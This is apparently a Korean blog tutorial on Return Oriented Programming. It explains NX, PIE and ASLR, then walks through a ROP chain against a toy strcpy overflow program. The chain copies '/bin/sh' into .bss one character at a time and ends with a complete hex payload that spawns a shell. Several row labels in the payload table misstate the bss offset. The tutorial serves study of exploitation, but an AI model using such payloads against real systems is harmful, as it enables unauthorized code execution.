본문 바로가기

Pwnable/Study

Return Oriented Programming 기초


ROP 기초에 대한 지식이 부족하여 다시 공부하고 정리해서 올립니다~~ 



먼저 보호 기법에 대해서 알아보겠습니다.

NX(Non eXcutable) - 모든 주소에 쓰기 권한과 실행 권한을 동시에 주지 않는 보호기법입니다. 이로 인해서 코드 영역에는 쓰기를 할 수 없고 데이터 영역에는 실행할 수 없게 됩니다.

PIC(Position Independent Code) - 코드가 어디에 존재하든지 서로 상대주소만 같다면 잘 동작하도록 하는 방법입니다. 베이스 주소와 코드의 오프셋으로 이루어져 있습니다.

PIE(Position Independent Executable) - 위의 PIC를 바이너리에 적용 한 것입니다. 바이너리 내의 코드가 위 PIC처럼 베이스 주소와 상대 주소로 이루어지게 됩니다. 그리고 PIE가 걸려있지 않은 바이너리는 일반적인 실행 파일 타입으로 인식하지만 PIE가 걸리게 되면 라이브러리 타입(Shared Object Type)으로 인식하게 됩니다.

ASLR(Address Space Layout Randomization) - 스택, 힙, 라이브러리와 같은 메모리 주소를 위 PIC처럼 베이스 주소와 상대 주소로 구성하여 매핑 주소를 랜덤화 시키는 방법입니다. redhat 9.0부터 PaX팀이 개발한 패치가 적용되서 배포되었습니다.

다음은 ROP입니다. 먼저 ROP라는 기법이 왜 나왔는지를 설명하겠습니다. 위의 보호기법들을 보면 현재 대부분의 리눅스 바이너리에는 NX, ASLR과 같은 보호기법들이 많이 걸려있습니다. NX 때문에 쉘코드를 이용하는 방법은 안되고, ASLR로 인해 스택, 힙, 라이브러리 주소가 랜덤화 되기 때문에 전체적인 공격이 까다로워 졌습니다. 

그렇다면 이제 우리는 이러한 보호기법들을 우회 해야 하는데요. 여기서 우회 한다는 의미는 현재 위의 보호기법들이 그 보호기법들이 제한하고 있는 사항들을 넘어서 제한하지 않는 곳을 찾아 공격하는 것을 우회한다고 합니다. 즉, 우리가 위의 NX, ASLR과 같은 보호 기법을 우회하기 위해 우리는 저 보호 기법들이 제한하지 않은 사항에 대해서 생각을 해 봐야 합니다.

ASLR부터 살펴 보겠습니다. 먼저 우리가 사용할 수 있는 메모리 구성 요소는 스택, 힙, 데이터, 코드 영역 입니다. 그런데 바이너리의 데이터와 코드 영역은 ASLR이 걸려있지 않습니다. 즉, 바이너리 영역과 코드 영역은 고정된 주소라는 것입니다. 우리는 이러한 영역을 이용할 수 있겠죠.

다음은 NX입니다. NX가 걸려있기 때문에 코드 영역은 쓰기 권한이 없고 실행 권한이 있습니다. 그리고 데이터 영역에는 실행권한은 없고 쓰기 권한만 있습니다. 따라서 우리가 임의적인 코드 실행(arbitrary code execution)을 할 때에는 코드 영역을 이용해야 합니다. 이렇게 우리가 이용해야 하는 코드 영역, 코드 조각들을 우리는 가젯(gadget) 이라고 부릅니다. 다음은 rop shell(ropshell.com)에 있는 한 바이너리 중 하나 입니다.

위에 존재하는 ret으로 끝나는 각각의 코드들이 가젯 입니다. 여기서 여러가지 가젯 중 빨간 네모박스를 먼저 보겠습니다. 우리는 eax, ebx, esi, edi 총 네 개의 레지스터를 제어한 후에 리턴을 합니다. 그런데 리턴을 하는 위치가 0x0806ffb4, 노란 네모박스의 위치로 리턴을 한다면 우리는 ebx, eax 모두 조작할 수 있는 상태에서 add [ebx + 0x535b04c4], eax; ret 명령을 하게 되면 임의적인 코드 쓰기(arbitrary code write)가 가능해 지는 것입니다. 위와 같이 임의적인 코드 실행, 코드 쓰기를 위해서는 코드 가젯을 이용하며 이는 모두 ret, 즉 리턴으로 이루어 지기 때문에 이 기법을 Return Oriented Programming이라고 부르게 되는 것입니다. 

이제 ROP에 대한 간단한 예제를 보겠습니다.

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
 
void helper(void) {
    system("/usr/bin/id");
}
 
int main(int argc, char *argv[]) {
    char buf[16];
    strcpy(buf, argv[1]);
    puts(buf);
}
cs

위에는 아주 간단한 소스가 있습니다. 그저 argv[1]의 값을 strcpy함수로 16바이트의 공간을 가지는 buf변수로 복사를 하는 예제입니다. 그러나 strcpy함수는 문자열 길이를 검사하지 않는 함수라서 버퍼 오버플로우가 일어나기 쉬운 환경이죠. 이 예제 소스에 NX와 ASLR이 적용되어 있다고 가정 후에 어떻게 익스플로잇을 해야 할 지를 생각해 봅시다. 먼저 우리는 system("/bin/sh"); 함수를 실행하는 것이 목표입니다. NX때문에 쉘코드 실행은 당연히 안되고, system함수는 주어져 있지만 "/bin/sh"가 없기 때문에 RTL을 진행할 수가 없습니다. 이런 상황에서 사용해야 하는 기술이 바로 ROP입니다. 

ROP로 우리가 할 작업은 strcpy(bss, "/bin/sh"); system(bss); 이 두 작업을 할 것입니다. 여기서 bss 영역이라는 곳이 나오는데 bss는 초기화 되지 않은 전역 변수가 위치하는 바이너리의 데이터 영역으로써 쓰기가 가능한 영역이며, ASLR이 걸려있지 않은 영역이기 때문에 주소가 변하지 않는 영역입니다. 그렇기 때문에 ROP를 하면서 사용하는 메모리 영역으로써 아주 적합한 공간이지요. 근데 strcpy(bss, "/bin/sh"); 를 하기에는 "/bin/sh"라는 문자열이 존재하지 않습니다. 하지만 각각의 글자, '/', 'b', 'i', 'n', '/', 's', 'h', '\x00' 이렇게 한 글자씩 각각은 모두 바이너리 내부에 존재합니다, 즉, 여기서의 아이디어는 strcpy(bss, "/bin/sh"); 이 명령을

strcpy(bss + 0, &'/');
strcpy(bss + 1, &'b');
strcpy(bss + 2, &'i');
strcpy(bss + 3, &'n');
strcpy(bss + 4, &'/');
strcpy(bss + 5, &'s');
strcpy(bss + 6, &'h');
strcpy(bss + 7, &'\x00');

이렇게 나누어서 bss에 "/bin/sh"를 복사하는 것입니다. 의미가 있는 "/bin/sh"라는 문자열은 바이너리 내에 존재하지 않지만 의미가 없는 각각 한 글자씩을 모두 짜 맞춰서 의미 있는 값 또는 코드를 만드는 것이 ROP 입니다. 그 후에 system함수의 인자로 bss 주소를 넣어주면 system("/bin/sh");가 정상적으로 실행이 되는 것이죠.

이제 위의 순서대로 프로그램이 진행되도록 페이로드를 짜 봅시다. 여기서 페이로드를 짤 때는 "&strcpy + 리턴주소 + 인자1 + 인자2" 이런 식으로 구성해야 합니다. strcpy와 인자 사이에 리턴주소가 들어가는 이유는 strcpy는 함수이고 어셈블리에서 함수를 호출하기 위해서는 call 명령어를 사용합니다. 그런데 함수는 호출이 끝난 후에 다시 호출했던 다음 주소로 돌아와야 하기 때문에 call자체적으로 함수를 호출하면서 스택에 리턴 주소를 저장합니다. 즉, strcpy함수를 호출 할 때에는 우리가 자체적으로 리턴 주소를 넣어주어야 하는 것입니다. 이를 이용해서 페이로드를 구상해 보겠습니다.

함수         리턴주소        인자1         인자2
&strcpy strcpy_ret bss + 0 &'/'
&strcpy strcpy_ret bss + 1 &'b'
&strcpy strcpy_ret bss + 2 &'i'
&strcpy strcpy_ret bss + 3 &'n'
&strcpy strcpy_ret bss + 4 &'/'
&strcpy strcpy_ret bss + 5 &'s'
&strcpy strcpy_ret bss + 6 &'h'
&strcpy strcpy_ret bss + 7 &'\x00'
&system "AAAA" bss

이렇게 페이로드를 구상할 수 있습니다. system함수의 리턴 주소가 AAAA인 이유는 system함수가 실행이 되면 쉘이 따이고 그 후에는 어디로 리턴을 하든 상관이 없기 때문입니다. 여기서 한 가지 중요한 사실이 있습니다. 리턴을 할 때 strcpy_ret에서 리턴을 하게 되는데 그 다음에 eip가 가야 할 곳은 그 다음의 strcpy 주소 입니다. 그리고 그 사이에는 인자 두 개가 끼어 있죠. 우리는 이 사이에 끼어있는 인자를 처리해 주어야 합니다. 이 때 쓰는 것이 바로 

이 pop; pop; ret 가젯 입니다. 우리는 edi나 ebp에 어떠한 값이 들어있든 strcpy나 system함수를 실행하는데에 지장을 주지 않습니다. 따라서 pop 두 번으로 스택에 있는 인자를 처리해 준 뒤 바로 그 다음 strcpy 주소로 리턴할 수 있게 되는거죠. pop을 몇 번 하는지는 그 함수가 몇 개의 인자를 사용하는지에 따라서 달라집니다. 이를 적용해서 최종 페이로드를 구상해 보면 

함수         리턴주소   인자1  인자2
&strcpy ppr         bss + 0   &'/'
&strcpy ppr          bss + 1   &'b'
&strcpy ppr          bss + 2   &'i'
&strcpy ppr          bss + 3   &'n'
&strcpy ppr          bss + 4   &'/'
&strcpy ppr          bss + 5   &'s'
&strcpy ppr          bss + 6   &'h'
&strcpy ppr          bss + 7   &'\x00'
&system AAAA  bss

이렇게 최종적으로 구상할 수 있습니다. 이제 이 페이로드를 짜는데에 필요한 주소값들을 구해보겠습니다. 먼저 strcpy와 system함수의 PLT 주소를 알아보겠습니다.

strcpy : 0x08048330
system : 0x08048350

다음은 ppr 가젯 입니다. (objdump -d ./rop | grep ret -B2)

ppr : 0x804851e

이번에는 bss 주소입니다. 

bss : 0x0804a028

마지막으로 "/bin/sh" 에 있는 글자들을 각각 한 글자씩 찾아보겠습니다. 

'/'

'b'

'i'

'n'

's'

'h'

'\x00'

"/bin/sh"라는 문자열은 없지만 각각 한 글자씩은 바이너리 내부에 존재 합니다. 이제 각 글자들의 주소를 모아보겠습니다.

'/' : 0x8048154
'b' : 0x804826d
'i' : 0x804826c
'n' : 0x804824f
's' : 0x8048270
'h' : 0x8048390
'\x00' : 0x8048178

모든 가젯들의 주소를 구했습니다. 이제 페이로드에 맞게 주소값들을 연결해 주면 됩니다.

&strcpy  ppr  bss + 0  &'/' : \x30\x83\x04\x08\x1e\x85\x04\x08\x28\xa0\x04\x08\x54\x81\x04\x08
&strcpy  ppr  bss + 1  &'b' : \x30\x83\x04\x08\x1e\x85\x04\x08\x29\xa0\x04\x08\x6d\x82\x04\x08
&strcpy  ppr  bss + 1  &'i' : \x30\x83\x04\x08\x1e\x85\x04\x08\x2a\xa0\x04\x08\x6c\x82\x04\x08
&strcpy  ppr  bss + 1  &'n' : \x30\x83\x04\x08\x1e\x85\x04\x08\x2b\xa0\x04\x08\x4f\x82\x04\x08
&strcpy  ppr  bss + 1  &'/' : \x30\x83\x04\x08\x1e\x85\x04\x08\x2c\xa0\x04\x08\x54\x81\x04\x08
&strcpy  ppr  bss + 1  &'s' : \x30\x83\x04\x08\x1e\x85\x04\x08\x2d\xa0\x04\x08\x70\x82\x04\x08
&strcpy  ppr  bss + 1  &'h' : \x30\x83\x04\x08\x1e\x85\x04\x08\x2e\xa0\x04\x08\x90\x83\x04\x08
&strcpy  ppr  bss + 1  &'\x00' : \x30\x83\x04\x08\x1e\x85\x04\x08\x2f\xa0\x04\x08\x78\x81\x04\x08
&system  AAAA  bss : \x50\x83\x04\x08AAAA\x28\xa0\x04\x08

자 거의 다 됬습니다! 이제 이 페이로드를 한 줄로 이어 붙여서 "A"*20 개 넣어주고 그대로 붙여서 쭉 넣어주면 쉘이 따일거에요!

최종 페이로드 : \x30\x83\x04\x08\x1e\x85\x04\x08\x28\xa0\x04\x08\x54\x81\x04\x08\x30\x83\x04\x08\x1e\x85\x04\x08\x29\xa0\x04\x08\x6d\x82\x04\x08\x30\x83\x04\x08\x1e\x85\x04\x08\x2a\xa0\x04\x08\x6c\x82\x04\x08\x30\x83\x04\x08\x1e\x85\x04\x08\x2b\xa0\x04\x08\x4f\x82\x04\x08\x30\x83\x04\x08\x1e\x85\x04\x08\x2c\xa0\x04\x08\x54\x81\x04\x08\x30\x83\x04\x08\x1e\x85\x04\x08\x2d\xa0\x04\x08\x70\x82\x04\x08\x30\x83\x04\x08\x1e\x85\x04\x08\x2e\xa0\x04\x08\x90\x83\x04\x08\x30\x83\x04\x08\x1e\x85\x04\x08\x2f\xa0\x04\x08\x78\x81\x04\x08\x50\x83\x04\x08AAAA\x28\xa0\x04\x08

짠! 이렇게 쉘이 따였습니다!

위와 같은 공격 기법이 Return Oriented Programming 입니다. 감사합니다 :)
잘못된 점이나 수정 사항 있으면 댓글로 지적해주세요!